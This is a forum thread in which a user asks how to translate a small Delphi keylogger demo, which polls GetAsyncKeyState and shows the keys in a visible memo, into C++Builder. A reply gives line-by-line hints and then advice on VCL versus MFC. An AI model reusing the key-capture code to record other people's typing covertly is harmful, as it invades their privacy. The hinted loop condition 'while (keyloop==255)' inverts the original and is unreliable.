Delphi to C++Builder Translation

[b][red]This message was edited by luckyboy at 2005-12-17 19:43:35[/red][/b][hr]
Please help me to translate this code to CBuilder
the code was not indented
i tried to indent it as i understood "begin-end", "repeat-untill" "if-then" ....etc
[b]please be patient, since i really don't understand Delphi[/b]

[code]
//----------------------------------------------
// unit1.pas
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
(* some keys won't do anything because I haven't put in
ascii code in it or the ascii code need me to tell it what char
it is but heres a quick example this program was made because
I dont' like all the complex examples of key logging I
Didn't want to learn a long way to do it and I didn't
want to have to make a dll or anything like that because of
huge code so here you go if it don't have to be complex why
make it complex I say any help or question just ask if you
like it please vote *)

keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
if (KeyLoop >= 65) and (keyloop <= 90) then
Memo1.Text := Memo1.Text + Chr(keyloop);
if (keyloop >= 32) and (keyloop <= 63) then
Memo1.Text := Memo1.Text + Chr(keyloop);
if keyloop = 8 then
Memo1.Text := copy(Memo1.Text,1,Length(memo1.Text) - 1);
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Memo1.Text := Memo1.Text + Chr(keyloop);
end;
inc(keyloop);
until keyloop = 255;
end;
end.
//--------------------------------------------------
//unit1.dfm
object Form1: TForm1
Left = 192
Top = 107
BorderIcons = [biSystemMenu, biMinimize]
BorderStyle = bsSingle
Caption = 'Elite Key Logger For Beginners Example'
ClientHeight = 295
ClientWidth = 448
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Memo1: TMemo
Left = 3
Top = 7
Width = 441
Height = 281
TabOrder = 0
end
object Timer1: TTimer
Interval = 1
OnTimer = Timer1Timer
Left = 240
Top = 192
end
end
//-----------------------------------------------
// project1.dpr
program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
//----------------------------------------
[/code]




Comments

  • Delphi is very like C++ Builder: it uses the same VCL (which in Turbo Pascal by the way, like Delphi). Some hints:


    : [code]
    : //----------------------------------------------
    : // unit1.pas [red]Our [b]Unit1.hpp[/b][/red]
    : unit Unit1;
    :
    : interface
    :
    : [red]The lines below mean: #include , #include etcetera[/red]
    : uses
    : Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    : Dialogs, ExtCtrls, StdCtrls;
    :
    : type
    : TForm1 = class(TForm) [red]//TForm * TForm1[/red]
    : Memo1: TMemo; [red]//Has a TMemo called Memo1 (like ours TMemo * Memo1[/red]
    : Timer1: TTimer; [red]//Has a Timer[/red]
    : procedure Timer1Timer(Sender: TObject);[red]//Has this function[/red]
    : private
    : { Private declarations }
    : public
    : { Public declarations }
    : end;
    :
    : var
    : Form1: TForm1;
    :
    : implementation
    :
    : {$R *.dfm}
    :
    //[red]void __fastcall TForm1::Timer1Timer(TObject * Sender)
    //This function is generated automatically when you have placed
    //a Timer on the Form and doubleclick in the Object Inspector on
    //Events | OnTimer[/red]
    : procedure TForm1.Timer1Timer(Sender: TObject);
    : var
    [red]//int keyloop, KeyResult[/red]
    : keyloop, KeyResult : Integer;
    [red]//{[/red]
    : begin
    [red]//Some multiline comment, like /* */[/red]
    : (* some keys won't do anything because I haven't put in
    : ascii code in it or the ascii code need me to tell it what char
    : it is but heres a quick example this program was made because
    : I dont' like all the complex examples of key logging I
    : Didn't want to learn a long way to do it and I didn't
    : want to have to make a dll or anything like that because of
    : huge code so here you go if it don't have to be complex why
    : make it complex I say any help or question just ask if you
    : like it please vote *)
    :
    [red]keyloop = 0;[/red]
    : keyloop := 0;
    [red]do {[/red]
    : repeat
    [red]KeyResult = GetAsyncKeyState(keyloop);[/red]
    : KeyResult := GetAsyncKeyState(keyloop);
    : if KeyResult = -32767 then
    : begin
    : if (KeyLoop >= 65) and (keyloop <= 90) then
    : Memo1.Text := Memo1.Text + Chr(keyloop);
    : if (keyloop >= 32) and (keyloop <= 63) then
    : Memo1.Text := Memo1.Text + Chr(keyloop);
    : if keyloop = 8 then
    : Memo1.Text := copy(Memo1.Text,1,Length(memo1.Text) - 1);
    : //numpad keycodes
    : if (keyloop >= 96) and (keyloop <= 110) then
    : Memo1.Text := Memo1.Text + Chr(keyloop);
    : end;
    [red]++keyloop;[/red]
    : inc(keyloop);
    [red]while (keyloop==255);[/red]
    : until keyloop = 255;
    : end;
    : end.
    : //--------------------------------------------------
    [red]The Form's layout in text, displays the dragged-and-dropped interface in text[/red]
    : //unit1.dfm
    : object Form1: TForm1
    : Left = 192
    : Top = 107
    : BorderIcons = [biSystemMenu, biMinimize]
    : BorderStyle = bsSingle
    : Caption = 'Elite Key Logger For Beginners Example'
    : ClientHeight = 295
    : ClientWidth = 448
    : Color = clBtnFace
    : Font.Charset = DEFAULT_CHARSET
    : Font.Color = clWindowText
    : Font.Height = -11
    : Font.Name = 'MS Sans Serif'
    : Font.Style = []
    : OldCreateOrder = False
    : PixelsPerInch = 96
    : TextHeight = 13
    : object Memo1: TMemo
    : Left = 3
    : Top = 7
    : Width = 441
    : Height = 281
    : TabOrder = 0
    : end
    : object Timer1: TTimer
    : Interval = 1
    : OnTimer = Timer1Timer
    : Left = 240
    : Top = 192
    : end
    : end
    : //-----------------------------------------------
    [red]Our Project1.bpr. Don't touch this code (unless you know why)[/red]
    : // project1.dpr
    : program Project1;
    :
    : uses
    : Forms,
    : Unit1 in 'Unit1.pas' {Form1};
    :
    : {$R *.res}
    :
    : begin
    : Application.Initialize;
    : Application.CreateForm(TForm1, Form1);
    : Application.Run;
    : end.
    : //----------------------------------------
    : [/code]

    Conclusion: The code is very similar to C++, the only function you need to create is the Timer::OnTimer function and copy paste the adapted code in it!

    Have fun,
    bilderbikkel

  • I don't know how to thank you.
    You are the only one who answer questions here in this forume.
    Again Thank you very much.

    But, Can I ask Hard Question ?!!

    what about our future...?!! i.e. CBuilder programmers...
    I know that VCL is better than MFC, but the materials is too little, resources is too little.
    also you are the only one here in this forume to answer CBuilder questions.
    You know, if I posted this message in MFC forume i may find 10 or more to answer my question.
    I'm still newbie could you advice me ?
    VCL and MFC are both new world to me...which I choose ?
    I trust your advice
    see ya
    Mohammad Nasim
  • : I don't know how to thank you.
    No thanks :-)

    : You are the only one who answer questions here in this forume.
    That is no true, don't forget 'Denni B' and 'AdaPlusPlus', so I guess I'm just often the first replyer

    : what about our future...?!! i.e. CBuilder programmers...
    See http://bdn.borland.com/article/0,1410,32958,00.html for the future of C++ Builder: the Borland people are working on 'C++ Builder 2006'

    : I know that VCL is better than MFC, but the materials is too little, resources is too little.
    What do you miss then? C++ Builder has a great help and Class Browsing. I can always find what I want from an object by browsing its functions. Sure, you need some books to get to know more tricks, e.g. the 'C++ Developer's Guide 6', but I don't see what you can do in MFC what you can not do in VCL (unless you doing more advanced stuff).

    : VCL and MFC are both new world to me...which I choose ?
    [b]Note: this is just the humble opinion of a simple Dutch programmer[/b]

    I started out programming in VCL and used it to increase my learning curve (e.g. putting an array in a TStringGrid and so). Now I know a bit MFC, but I never need to use it. I did find out, that most of the time I had to program under non-Windows enviroments (in which both cannot be used)! So I would recommend learning the STL, as this one IS cross platform compatible. I got used to having 95% of my program being STL and the interface with the user being VCL, CLX, OpenCV or the graphical library used at work.

    If you do need a graphical user interface that is cross-platform, you should check out 'QT Developer', which is similar to VCL but usable under all major platforms! If you can get your hands on that (I wish I could so myself), I'd use those. CLX would be my second option, this is the VCL except it is also supported under LINUX.

    So I would say, that sometimes you simply have no choice, sometimes I'd recommend QT Developer, but when I program at home or on my own, I use my favorite environment, which is C++ Builder, with heavy use of the STL (and the Boost C++ Library).

    See ya,
    bilderbikkel

  • : : I don't know how to thank you.
    : No thanks :-)
    Why...? I should thank my teacher.

    :
    :[b]Note: this is just the humble opinion of a simple Dutch programmer[/b]
    and as I said I trust your advice.

    Thanx again
    see ya
    Mohammad Nasim
Sign In or Register to comment.

Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Categories